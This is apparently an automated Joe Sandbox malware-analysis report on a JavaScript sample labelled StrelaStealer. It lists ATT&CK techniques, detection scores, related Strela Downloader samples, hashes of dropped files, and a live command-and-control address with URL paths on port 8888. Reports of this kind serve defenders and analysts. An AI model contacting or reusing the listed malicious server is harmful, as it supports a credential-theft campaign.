Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1849946161599211804.js	5%	Virustotal		Browse
1849946161599211804.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/pacez	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/N	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3323610548.00000215CC600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2126911004.00000215CC4A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2116540811.00000166ACF4B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2129851934.00000166ACEF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2131674255.00000166ACF4D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2131564488.00000166ACF2B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2126913659.00000166ACF2B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/pacez	net.exe, 00000007.00000002.2129851934.00000166ACEF8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/N	net.exe, 00000007.00000002.2131564488.00000166ACF2B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2126913659.00000166ACF2B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588554
Start date and time:	2025-01-11 02:19:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1849946161599211804.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 3.233.129.217, 3.219.243.226, 52.6.155.20, 52.22.41.97, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 54.224.241.105, 13.107.246.45, 172.202.163.200, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:20:41	API Interceptor	25x Sleep call for process: powershell.exe modified
20:20:45	API Interceptor	1x Sleep call for process: net.exe modified
20:20:46	API Interceptor	2x Sleep call for process: svchost.exe modified
20:20:54	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	18971281001132729595.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17985298091058916725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306936244213786
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugZ:gJjJGtpTq2yv1AuNZRY3diu8iBVqFn
MD5:	94BA5D6C189A67FB2780D6727FBD3DE8
SHA1:	67F0833CC63E3F37841105A9969DD6E007A32305
SHA-256:	2784EEEDD7B5CC052D4FCC6A99E6AE63657587BBB3A92B1CA4A296827F77DEDB
SHA-512:	416BD39FAD1C1DB01E6BC7CD033264F3C7FC54D8A75B2F43C90B04D4097DF3100DC02FCB6AC5F87A2ECE1B5548A23C7F03B4516FB76733C0550A1A9097B5BAD7
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xdbc04320, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585271010795152
Encrypted:	false
SSDEEP:	1536:j75SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/T:j75aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	CAFD0EEC52A7EDEF67E2E9454013F7D9
SHA1:	49A4CB2E8BB6D1911F8E0EAD5E30D160702CD211
SHA-256:	3CAC82130852FE25E43647A4905366DA7632F95F150CC564A1B77FD060F551BA
SHA-512:	21AC19DFFDB6E515E2C07C47FD8913A3596B27C3032A269529DA263FAF20F85767DB0E3171169B24F96A62CFDC940BB30CAF7C09E327E1E59E7B6B0967BFAF9D
Malicious:	false
Preview:	..C ... ...............X\...;...{......................0.z..........{../....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................W.2./....}[.................`..g/....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.079528585729985
Encrypted:	false
SSDEEP:	3:4lllyYe9WZvekGuAJkhvekl1KxkrVwllrekGltll/SPj:4lyz9WRtrxlIxkrVQJe3l
MD5:	45B367B2A830B60190192B2443269A39
SHA1:	91BC539BA4715549F6E90967771A8A4EC69CF5A6
SHA-256:	2C65D6AA8E4033204C271270B45ABBC30F7F18EB4008BB5FFF01E2D27073DB4E
SHA-512:	269CD2E6285D7AD186BA25554D26C1FB3A6D283D0D148C805C76AB8033E171B43C21CA80B16566CF52F201E8E2A59CF6549C50DF92AC7F49A13578AB1966AB1A
Malicious:	false
Preview:	.........................................;...{../....}.......{...............{.......{...XL......{..................`..g/....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.186232606215039
Encrypted:	false
SSDEEP:	6:iO4qVlJAIq2P92nKuAl9OmbnIFUtSqVIfZZmwsqVTLkwO92nKuAl9OmbjLJ:7nBv4HAahFUtZUZ/LTL5LHAaSJ
MD5:	32B2D269A9561853B487388ED5AAED97
SHA1:	4EFDE505E465B61855C29A2007D55000565A6D88
SHA-256:	972D3AB3DD5BF16699C63EFF651FC678605274261483322C756E9B8D7DE150D6
SHA-512:	7BD1DA893F77DCDE1ABD7CDF6FE12DC684609C29E78DB6881EEDA2A56ACD92954F63DDEEE9A721C28F215499EB1DAB78C113BDCF9B4684B42A969FDDDF35CEC1
Malicious:	false
Preview:	2025/01/10-20:20:46.178 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:20:46.181 1c94 Recovering log #3.2025/01/10-20:20:46.182 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.186232606215039
Encrypted:	false
SSDEEP:	6:iO4qVlJAIq2P92nKuAl9OmbnIFUtSqVIfZZmwsqVTLkwO92nKuAl9OmbjLJ:7nBv4HAahFUtZUZ/LTL5LHAaSJ
MD5:	32B2D269A9561853B487388ED5AAED97
SHA1:	4EFDE505E465B61855C29A2007D55000565A6D88
SHA-256:	972D3AB3DD5BF16699C63EFF651FC678605274261483322C756E9B8D7DE150D6
SHA-512:	7BD1DA893F77DCDE1ABD7CDF6FE12DC684609C29E78DB6881EEDA2A56ACD92954F63DDEEE9A721C28F215499EB1DAB78C113BDCF9B4684B42A969FDDDF35CEC1
Malicious:	false
Preview:	2025/01/10-20:20:46.178 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:20:46.181 1c94 Recovering log #3.2025/01/10-20:20:46.182 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.121566292852866
Encrypted:	false
SSDEEP:	6:iO4qVZZIq2P92nKuAl9Ombzo2jMGIFUtSqVfukZmwsqVfuEkwO92nKuAl9Ombzos:7nZqv4HAa8uFUtZ7/LR5LHAa8RJ
MD5:	B879E0102146302E590BAA0E5AD915F0
SHA1:	97B40021AB98E40B702450318FBC99A83BFA50C1
SHA-256:	1EA5674D4D9AF4E70393BE1604A43940CC68425D7F258F8C570152B855A9B188
SHA-512:	4E6179DB59379624344C5EE401C4D094C098AE1FFB11F637698B27AF496A22EA80359FD799C7072445C17E60EA09485F14DB08A271BE6023666F77D9AB9C9274
Malicious:	false
Preview:	2025/01/10-20:20:46.303 1cf4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:20:46.305 1cf4 Recovering log #3.2025/01/10-20:20:46.305 1cf4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.121566292852866
Encrypted:	false
SSDEEP:	6:iO4qVZZIq2P92nKuAl9Ombzo2jMGIFUtSqVfukZmwsqVfuEkwO92nKuAl9Ombzos:7nZqv4HAa8uFUtZ7/LR5LHAa8RJ
MD5:	B879E0102146302E590BAA0E5AD915F0
SHA1:	97B40021AB98E40B702450318FBC99A83BFA50C1
SHA-256:	1EA5674D4D9AF4E70393BE1604A43940CC68425D7F258F8C570152B855A9B188
SHA-512:	4E6179DB59379624344C5EE401C4D094C098AE1FFB11F637698B27AF496A22EA80359FD799C7072445C17E60EA09485F14DB08A271BE6023666F77D9AB9C9274
Malicious:	false
Preview:	2025/01/10-20:20:46.303 1cf4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:20:46.305 1cf4 Recovering log #3.2025/01/10-20:20:46.305 1cf4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.051081249143291
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnSWsBdOg2HVcaq3QYiubxnP7E4T3OF+:Y2sRds37dMHU3QYhbxP7nbI+
MD5:	C3EDCDD16FC378409EFBA21D68B367BD
SHA1:	C46746769B858DE9F82BB78AB093ED774FA7910F
SHA-256:	D51BF19F374ACE7A4652D91C9DAFBD06F97145C79392E3C3C6BC4C3025C7C270
SHA-512:	9B67B26F26E13909FF952501699BE0A2F5738B5DFF393472651C51420B424A29549282F9B27C4D4998368E74023E7B70E04346BC98C12F44F81C13A04812067B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118457654725","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129757},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e2d3aa79-73cc-464a-9a53-4715adc0aa0d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.051081249143291
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnSWsBdOg2HVcaq3QYiubxnP7E4T3OF+:Y2sRds37dMHU3QYhbxP7nbI+
MD5:	C3EDCDD16FC378409EFBA21D68B367BD
SHA1:	C46746769B858DE9F82BB78AB093ED774FA7910F
SHA-256:	D51BF19F374ACE7A4652D91C9DAFBD06F97145C79392E3C3C6BC4C3025C7C270
SHA-512:	9B67B26F26E13909FF952501699BE0A2F5738B5DFF393472651C51420B424A29549282F9B27C4D4998368E74023E7B70E04346BC98C12F44F81C13A04812067B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118457654725","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129757},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234099752996626
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUEA4oZa:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLd
MD5:	EADA5ED90060EDDD2AC2CC96ADA381EF
SHA1:	80DED1DC0ACE0BCA37C0568E02A03A317DBB6746
SHA-256:	8551B86C5B52EDF161F9B46B33DD43DB9E2DB1C01755CD2AAEC7CE186184A49C
SHA-512:	88C05DA1EBF7D828C5DD97FB1F3772C98CF1226DE734DFD021C1B317CBD7DD4749A19E961DD4F92A9A05AA2A08189CB209DF2E9D273588139D30F3493F913C7B
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.162287920586132
Encrypted:	false
SSDEEP:	6:iO4qVP4q2P92nKuAl9OmbzNMxIFUtSqVPlDjZZmwsqVPakwO92nKuAl9OmbzNMFd:7nP4v4HAa8jFUtZPlDjZ/LPa5LHAa84J
MD5:	5BFD407EE0A927B20C50E9C3AE99808D
SHA1:	7E537733C939F62FF60A990F155D9D883A4378A3
SHA-256:	4045304A7C681FFF789127FD91395364F64E2B968B2A9482FB40A7240AAF7A81
SHA-512:	F92745AFB2CF26267124F090656EF7F0934C6CB08293F653CAD5E3D7F0C57F56EDC8C0F8F4ED257F678E8A80200FF2C29682A4503475DA77BA1FF0705B46B10E
Malicious:	false
Preview:	2025/01/10-20:20:47.346 1cf4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:20:47.348 1cf4 Recovering log #3.2025/01/10-20:20:47.350 1cf4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.162287920586132
Encrypted:	false
SSDEEP:	6:iO4qVP4q2P92nKuAl9OmbzNMxIFUtSqVPlDjZZmwsqVPakwO92nKuAl9OmbzNMFd:7nP4v4HAa8jFUtZPlDjZ/LPa5LHAa84J
MD5:	5BFD407EE0A927B20C50E9C3AE99808D
SHA1:	7E537733C939F62FF60A990F155D9D883A4378A3
SHA-256:	4045304A7C681FFF789127FD91395364F64E2B968B2A9482FB40A7240AAF7A81
SHA-512:	F92745AFB2CF26267124F090656EF7F0934C6CB08293F653CAD5E3D7F0C57F56EDC8C0F8F4ED257F678E8A80200FF2C29682A4503475DA77BA1FF0705B46B10E
Malicious:	false
Preview:	2025/01/10-20:20:47.346 1cf4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:20:47.348 1cf4 Recovering log #3.2025/01/10-20:20:47.350 1cf4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
